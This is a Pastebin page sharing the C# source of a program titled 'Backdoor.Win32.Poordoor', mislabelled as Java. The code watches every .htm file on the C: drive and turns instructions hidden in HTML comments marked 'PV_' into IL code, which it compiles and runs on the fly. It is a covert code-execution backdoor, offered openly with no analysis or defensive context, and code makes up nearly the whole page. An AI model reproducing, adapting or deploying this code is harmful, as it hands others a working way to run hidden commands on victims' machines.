Advertisement
FlyFar

Backdoor.Win32.Poordoor - Source Code

Jun 12th, 2023
877
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 5.15 KB | Cybersecurity | 0 0
  1. using System;
  2. using System.Threading;
  3. using System.Reflection;
  4. using System.Reflection.Emit;
  5. using System.IO;
  6. using System.Xml;
  7.  
  8.  
  9. namespace ProofVirusCompiler
  10. {  
  11.     class ProofVirusWriter
  12.     {
  13.         public static void Main()
  14.         {
  15.             FileSystemWatcher fsw = new FileSystemWatcher("c:\\");
  16.             fsw.Changed += new FileSystemEventHandler(Changed);
  17.             fsw.Created += new FileSystemEventHandler(Created);
  18.             fsw.IncludeSubdirectories = true;
  19.             fsw.EnableRaisingEvents = true;
  20.             fsw.Filter = "*.htm";
  21.             int countChanges = 0;
  22.             while ( countChanges < 1 )
  23.             {
  24.                 fsw.WaitForChanged(WatcherChangeTypes.All);
  25.                 countChanges++;
  26.             }
  27.  
  28.         }
  29.  
  30.  
  31.         public static void WriteAndExecute(string fname)
  32.         {
  33.  
  34.             //----- Create assembly
  35.             AssemblyName assemblyName = new AssemblyName();
  36.             assemblyName.Name = "ProofVirusAssembly";
  37.             AssemblyBuilder newAssembly = Thread.GetDomain().DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.RunAndSave);
  38.             //----- Create a new module inside the assembly
  39.             ModuleBuilder newModule = newAssembly.DefineDynamicModule("ProofVirusModule");
  40.             //----- Create a new type inside the module
  41.             TypeBuilder newType = newModule.DefineType("ProofVirus", TypeAttributes.Public);
  42.             //----- Create the method Execute
  43.             Type[] paramTypes = null;
  44.             Type retType = typeof(void);
  45.             MethodBuilder newMethod = newType.DefineMethod("Execute",
  46.                 MethodAttributes.Public | MethodAttributes.Virtual, retType, paramTypes);
  47.             //----- Insert of the Command
  48.             insertCode(newMethod.GetILGenerator(), fname);
  49.             //----- Close the new type
  50.             newType.CreateType();
  51.             //----- Execute the created methode Execute
  52.             MethodInfo method = newType.GetMethod("Execute");
  53.             object obj = Activator.CreateInstance(newType);
  54.             object ret = method.Invoke(obj, null);
  55.             Console.WriteLine(ret);
  56.         }
  57.  
  58.         public static void Created(object sender, FileSystemEventArgs args) {
  59.             WriteAndExecute(args.FullPath);
  60.         }
  61.  
  62.         public static void Changed(object sender, FileSystemEventArgs args)
  63.         {
  64.             WriteAndExecute(args.FullPath);
  65.         }
  66.  
  67.         public static void insertCode(ILGenerator ilGen, string fname)
  68.         {
  69.             string[] temp;
  70.             Console.WriteLine("Start Writing Virus from file " + fname);
  71.             XmlReader data = new XmlTextReader(fname);
  72.             while (data.Read())
  73.             {
  74.  
  75.                 switch (data.NodeType)
  76.                 {
  77.                     case XmlNodeType.Comment:
  78.                         temp = data.Value.Split(new Char[] {' '});
  79.                         if (temp!=null && temp.Length>0 && temp[0].Substring(0,3)=="PV_")
  80.                         {
  81.                             analyzeCommand(ilGen, temp);
  82.                         }
  83.                         break;
  84.                     default:
  85.                         break;
  86.                 }
  87.             }
  88.             Console.WriteLine("End Writing Virus");
  89.         }
  90.  
  91.         private static void analyzeCommand(ILGenerator ilGen, string[] str)
  92.         {
  93.             if (str[0]=="PV_Var" ) {ilGen.DeclareLocal(Type.GetType(str[1]));}
  94.             else if (str[0]=="PV_Ldstr") {ilGen.Emit(OpCodes.Ldstr, str[1]);}
  95.             else if (str[0]=="PV_Ldlen") {ilGen.Emit(OpCodes.Ldlen); }
  96.             else if (str[0]=="PV_Ldarg_0") {ilGen.Emit(OpCodes.Ldarg_0); }
  97.             else if (str[0]=="PV_Ldarg_1") {ilGen.Emit(OpCodes.Ldarg_1); }
  98.             else if (str[0]=="PV_Ldarg_2") {ilGen.Emit(OpCodes.Ldarg_2); }
  99.             else if (str[0]=="PV_Ldarg_3") {ilGen.Emit(OpCodes.Ldarg_3); }
  100.             else if (str[0]=="PV_Ldarg_S") {ilGen.Emit(OpCodes.Ldarg_S, Byte.Parse(str[1])); }
  101.             else if (str[0]=="PV_Stloc_0") {ilGen.Emit(OpCodes.Stloc_0); }
  102.             else if (str[0]=="PV_Stloc_1") {ilGen.Emit(OpCodes.Stloc_1); }
  103.             else if (str[0]=="PV_Stloc_2") {ilGen.Emit(OpCodes.Stloc_2); }
  104.             else if (str[0]=="PV_Stloc_3") {ilGen.Emit(OpCodes.Stloc_3); }
  105.             else if (str[0]=="PV_Stloc_S") {ilGen.Emit(OpCodes.Stloc_S, Byte.Parse(str[1])); }         
  106.             else if (str[0]=="PV_Ldloc_0") {ilGen.Emit(OpCodes.Ldloc_0); }
  107.             else if (str[0]=="PV_Ldloc_1") {ilGen.Emit(OpCodes.Ldloc_1); }
  108.             else if (str[0]=="PV_Ldloc_2") {ilGen.Emit(OpCodes.Ldloc_2); }
  109.             else if (str[0]=="PV_Ldloc_3") {ilGen.Emit(OpCodes.Ldloc_3); }
  110.             else if (str[0]=="PV_Ldloc_S") {ilGen.Emit(OpCodes.Ldloc_S, Byte.Parse(str[1])); }         
  111.             else if (str[0]=="PV_Ldc_0") {ilGen.Emit(OpCodes.Ldc_I4_0); }
  112.             else if (str[0]=="PV_Ldc_1") {ilGen.Emit(OpCodes.Ldc_I4_1); }
  113.             else if (str[0]=="PV_Ldc_M1") {ilGen.Emit(OpCodes.Ldc_I4_M1); }
  114.             else if (str[0]=="PV_Ldc_S") {ilGen.Emit(OpCodes.Ldc_I4_S, Byte.Parse(str[1])); }          
  115.             else if (str[0]=="PV_Ldelem") {ilGen.Emit(OpCodes.Ldelem_Ref); }
  116.             else if (str[0]=="PV_Ret") { ilGen.Emit(OpCodes.Ret); }
  117.             else if (str[0]=="PV_Conv_i4") { ilGen.Emit(OpCodes.Conv_I4); }
  118.             else if (str[0]=="PV_Add") { ilGen.Emit(OpCodes.Add); }
  119.             else if (str[0]=="PV_Br") { ilGen.Emit(OpCodes.Br_S, SByte.Parse(str[1]));}
  120.             else if (str[0]=="PV_Blt") { ilGen.Emit(OpCodes.Blt_S, SByte.Parse(str[1]));}
  121.             else if (str[0]=="PV_Call" || str[0]=="PV_Callvirt")
  122.             {
  123.                 Type t = null;
  124.                 Type ClassType = null;
  125.                 Type[] para = new Type[str.Length-3];
  126.                 for (int i=2;i<str.Length;i++)
  127.                 {
  128.                     if (i==2) ClassType = Type.GetType(str[i]); else para[i-3] = Type.GetType(str[i]);
  129.                 }
  130.                 MethodInfo mi = ClassType.GetMethod(str[1], para);
  131.                 if (str[0]=="PV_Call") ilGen.Emit(OpCodes.Call, mi); else ilGen.Emit(OpCodes.Callvirt, mi);
  132.             }
  133.             else
  134.             {
  135.                 Console.WriteLine(str[0] + " not found");
  136.             }
  137.         }
  138.     }
  139. }
Tags: Java Backdoor
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement